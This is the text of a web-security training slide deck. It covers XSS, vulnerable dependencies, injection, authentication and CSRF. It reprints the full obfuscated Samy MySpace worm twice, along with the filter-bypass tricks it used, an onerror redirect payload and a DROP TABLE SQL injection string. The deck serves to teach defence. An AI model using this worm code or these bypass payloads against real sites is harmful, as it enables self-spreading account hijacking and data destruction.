Securing Modern Web Apps

  • JSON web API
  • Single page client side app

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Samy Kamkar

"Privacy and security researcher"

Hacker

Only allow <a>, <img> and <div> tags​

strips out the word "javascript" from ANYWHERE

<div style="background:url('javascript:alert(1)')">
<div id="mycode"
     expr="alert('hah!')"
     style="background:url('javascript:eval(document.all.mycode.expr)')">
<div style="background:url('java\nscript:alert(1)')">

strips out escaped quotes

alert('double quote: ' + String.fromCharCode(34))

strips out the word "innerHTML" anywhere

alert(eval('document.body.inne' + 'rHTML'));

Can't send cross origin requests (CORS)

document.location = 'http://www.myspace.com' + '...';

Cross Site Scripting (XSS)

<script>alert('XSS')</script>
<html lang="en">
  <head>
    <title>Twitter</title>
  </head>
  <body>
    <div>
      Tweets
    </div>
    <div>
      <!--loadUserTweet()-->
    </div>
  </body>
</html>
<script>alert('XSS!')</script>
<html lang="en">
  <head>
    <title>Twitter</title>
  </head>
  <body>
    <div>
      Tweets
    </div>
    <div>
      &lt;script&gt;
        alert('XSS!')
      &lt;/script&gt;
    </div>
  </body>
</html>
            
            
<html lang="en">
  <head>
    <title>Twitter</title>
  </head>
  <body>
    <div>
      Tweets
    </div>
    <div>
      <script>
        alert('XSS!')
      </script>
    </div>
  </body>
</html>
'<img src="" onerror="window.location=\'https://www.konradgroup.com/\'"></img>'

Impact of XSS

  • Steal user credentials
  • Steal sessions
  • Deliver malware to users
  • Send users to a malicious site

How to prevent XSS

  • Identify features vulnerable to XSS
  • Sanitize user inputs (server side)
  • Use popular libraries for sanitization
  • Use frameworks that take care of XSS
{
  name: "react-xss",
  version: "1.0.0",
  description: "",
  scripts: {
    start: "webpack-dev-server --hot --progress --colors",
    build: "webpack --progress --colors"
  },
  dependencies: {
    babel-loader: "^4.3.0",
    react: "^0.13.3",
    react-hot-loader: "^1.1.7",
    webpack: "1.6.0",
    webpack-dev-server: "1.8.1"
  }
}

package.json

How to prevent XSS

  • Identify features vulnerable to XSS
  • Sanitize user inputs (server side)
  • Use popular libraries for sanitization
  • Use frameworks that take care of XSS
  • Check for known vulnerabilities in your dependencies

Known Vulnerabilities

Known Vulnerabilities

  • Keep dependencies up to date
    • Sub dependencies too
  • March 7th 2017: security researchers discovered a vulnerability in Apache Struts that was being actively exploited by attackers
    • vulnerability allowed for remote code execution
       
  • March 8th 2017: Apache released a patch fixing the bug
    • Attackers published code anyone could use to exploit the bug
       
  • March 9th: 2017: Equifax was blissfully unaware that they were running the vulnerable version of Struts
  • April 16 2017:  ...Equifax still unaware and 662 Charlie Chaplin lookalikes gathered in Switzerland, setting a world record
     
  • Mid-May 2017: Attackers started stealing information from Equifax
    • 143 million US consumers info stolen
    • Names, Social Security numbers, birth dates, addresses, driver's licence numbers
    • 200,000 stolen credit card numbers
       
  • July 29 2017: Equifax realizes they were hacked

Known Vulnerabilities

  • Keep dependencies up to date
    • Sub dependencies too
  • Scan dependencies for known vulnerabilities
  • Make sure getting updates to prod is easy

patching the security hole was labor intensive and difficult, in part because it involved downloading an updated version of Struts and then using it to rebuild all apps that used older, buggy Struts versions. Some websites may depend on dozens or even hundreds of such apps, which may be scattered across dozens of servers on multiple continents. Once rebuilt, the apps must be extensively tested before going into production to ensure they don't break key functions on the site.

Known Vulnerabilities

  • Keep dependencies up to date
    • Sub dependencies too
  • Scan dependencies for known vulnerabilities
  • Make sure getting updates to prod is easy
  • Keep OS, DB,  web/application server and other aspects of you application up to date
  • Only obtain components from official sources

babelcli
cross-env.js
crossenv
d3.js
fabric-js
ffmepg
gruntcli
http-proxy.js
jquery.js
mariadb
mongose
mssql-node
mssql.js

mysqljs
node-fabric
node-opencv
node-opensl
node-openssl
node-sqlite
node-tkinter
nodecaffe
nodefabric
nodeffmpeg
nodemailer-js
nodemailer.js
nodemssql

noderequest
nodesass
nodesqlite
opencv.js
openssl.js
proxy.js
shadowsock
smb
sqlite.js
sqliter
sqlserver
tkinter

Injection

SQL Injection

function addStudent(name) {
    db.query("INSERT INTO Students VALUES ('" + name + "')");
}

addStudent("Robert'); DROP TABLE STUDENTS; --");
INSERT INTO Students VALUES ('Robert'); DROP TABLE Students; --')

Vulnerable Code

Query

Raw SQL

Stored Procedure

ORM (Object relational mapping)

"SELECT * from Users WHERE username='test' 
AND password='myPass'"

DB

SELECT * from Users 
WHERE username='test'
  AND password='myPass'
{
    "username": "test",
    "password": "myPass"
}
SELECT * from Users 
WHERE username={______}
  AND password={______}

Name: __________

Username: _____

Password:  ______
Create(u, p)

edit(name)

delete()

Users.create('test', 'myPass')

Popular ORMs

Java

C#

JavaScript

NoSQL Injection Demo

How to prevent Injection

  • Use an ORM
  • Don't concatenate user input with code in a string
  • Sanitize user inputs
  • Use popular libraries for sanitization

Authentication

Are you Kg-Network ?

YES!!!

http://

https://

Rate Limiting

Auth Best Pratcices

  • Enforce password strength
     
  • Use https
     
  • Rate limit failed login attempts
     
  • Log failed login attempts
     
  • Alert admins of strange network activity

Register and sign into TrustMeBank

  1. Join the wifi network:
    Starbucks Free Wi-Fi
  2. Go to: https://tinyurl.com/trustmebank
  3. Register
    • Don't use your real password
  4. Login

http://e542172e.ngrok.io

CSRF

 www.trustmebank.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

CSRF

 www.evil.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

CSRF Demo

CSRF (Cross Site Rob? Forgery)

 www.evil.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

Options

Access-Control-All-Origin: evil.com
Access-Control-Allow-Credentials: true

CSRF

 www.evil.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

HTTP Form POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

api.trustmebank.com

CSRF

  • Only an issue if you are using cookies
  • For POST requests make the client load a token from local storage / a cookie and add it to a header

Security Misconfiguration

https://arstechnica.com/information-technology/2015/12/13-million-mackeeper-users-exposed-after-mongodb-door-was-left-open/

Takeaways

  • Get familiar with common vulnerabilities
  • Keep systems up to date
  • Set aside time for security reviews

Web Security2

By Rob McDiarmid

Web Security2

  • 1,994